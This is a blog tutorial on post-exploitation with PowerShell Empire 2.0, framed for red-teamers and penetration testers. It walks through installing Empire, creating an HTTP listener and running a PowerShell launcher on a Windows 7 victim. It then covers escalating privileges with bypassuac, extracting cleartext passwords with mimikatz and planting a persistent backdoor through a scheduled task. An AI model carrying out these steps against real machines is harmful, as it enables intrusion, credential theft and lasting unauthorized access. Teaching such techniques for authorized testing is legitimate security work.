Post-Exploitation with PowerShell Empire 2.0

Empire PowerShell

Hi, this is Gus and welcome to this exciting tutorial about the new Empire version 2.0.

I’m pretty sure you’re curious and want to learn how to use it. In this lesson, I will walk you through and show you all the tricks so you can achieve your goals as a member of the red-team or as a penetration tester.

Let’s see together the workflow that I’ll be using for this demo.

First, I will show you how to install Empire

Second, you will learn how to create a listener. If you don’t know what a listener means. In fact, its name explains what it does, the listener listens for incoming connections from infected victims.

Next, I will show you how to create a PowerShell script to send it to your victim using the launcher in Empire.

Now when the victim executes the script he will be connected back to the listener and this will create an agent representing the victim machine.

All we need at this stage is to interact with the agent to escalate our privileges so we can become some sort of an admin, why? I will show you how to run Mimikatz, for example, using your admin privilege to extract the victim’s passwords.

Finally, I will make sure that you learn how to create a persistent backdoor so you can go back anytime you want.

Before I start this Demo, I want to let you know that this blog has a video demo on youtube:

Let’s start the action!

First, open your browser and go to the Empire GitHub website and click on the “Clone or download” button to copy the URL to your clipboard.

Now go and open your terminal window and execute git clone and paste the URL.

$git clone



This will download the application to my home root directory in Kali Linux.



Let’s explore this new folder.

$cd Empire


If I check the contents of the empire directory I can see the setup folder.

$cd setup


Now I’m pretty sure that our installer is somewhere here



Here you go it’s the file.

Let’s give it the right permission and execute it to install Empire.

$chmod +x



The installation is going to take some time so be patient. After a while, the installer will ask you to enter a password or press enter to generate a random password, I’m going to press enter, and we’re done!

I will go up one directory to execute the empire application, but before doing this I will give it the right permission as well.

$cd ..


$chmod +x empire


Perfect, it’s the time to execute this monster.


Voila! this is the Empire home screen. As you can see we have 267 modules ready to be used and No listeners or agents and that’s normal because it’s a fresh copy of Empire.

Let’s start by creating a listener. Type listeners

$> listeners


And you will get this message

[!] No listeners currently active


wait this is not an error message check the prompt, it changed to the listeners mode.

Next, I will choose the http based listener, so type:

$> uselistener http


And the prompt changed to the http listener, alright it’s time to execute it:

$> execute


Amazing! we should have a listener active at this moment.

$> listeners


Here in the details it shows that the Name of this listener is http and it’s listening on port 80 on my Kali Linux machine.

At this stage we need to create a launcher just type it in the terminal window and you get this message:

By analyzing this message let’s generate a PowerShell script and the listener name is http.

$> launcher powerhsell http

Perfect, let’s copy this PowerShell script to be ready for our windows7 machine.

I will open a new terminal window and use the remote desktop to connect remotely to the victim machine -u is for the user name -p is for the password and the IP address of the windows 7 host.

Let’s open a command prompt in windows and paste the powershell script.


Beautiful, let’s go back to the Empire terminal window, and we have an agent active.

Type back to go to the main window.

$> back

And here type agents to list the available agents.

We can see all the information needed that represents our Win7 machine, but the name is very random so I will rename it to something more meaningful.

Type rename followed by the first two letters then press tab and it will recognize it. Then type the desired new name.

$> rename [old name] [new name]


To list the agents at this stage you type list

$> list

And here you go our new name for the windows 7 agent.

Let’s try to interact with this agent:

$> interact [agent name]

And type info to see the necessary information about it.

$> info


Pay attention here, the High priority is set to 0, that’s because we are not admin. The next step is to elevate our privileges. We can become an admin in a single command and it’s called bypassuac followed by the name of the listener.

$> bypassuac http

Wait for a couple of seconds and you should see some text coming your way, and we have a new agent.

Press enter, go back and execute the list command to see the new agent.

$> [enter]

$> back

$> list


Check the difference here we have an asterisk before the username that means this a power user let’s rename this new agent:

$> rename [old name] [new name]


Let’s start interacting with this new agent.

$> interact [agent name]

$> info

Pay attention to the high integrity it’s 1 instead of zero.

Perfect, let’s run Mimikatz to extract the clear text passwords but first type creds to list all the cleartext passwords, and it’s empty.

$> creds

Next, run mimikatz and wait for a few seconds to finish its execution.

$> mimikatz

Awesome! let’s see the credential list and here you go all the passwords are extracted for us.

$> creds

It’s time for our final stage and it’s the backdoor persistence, if you’re ever lost in this application you have always the chance to type the help command to see the available choices:

$> help

To create a persistent backdoor I will use the module schtasks in Empire.

$>  usemodule persistence/elevated/schtasks

Let’s check its options, I will set the onLogon to True because I want it to execute every time the victim user login to this machine. And set the listener name to http

And finally execute it:

$> info

$> set onLogon True

$> set Listener http

$> execute

And we now have a persistent backdoor with a big success.

Thank you for reading this tutorial. I hope that you liked it, until the next time!In this lesson, I will walk you through and show you all the tricks so you can achieve your goals as a member of the red-team or as a penetration tester.
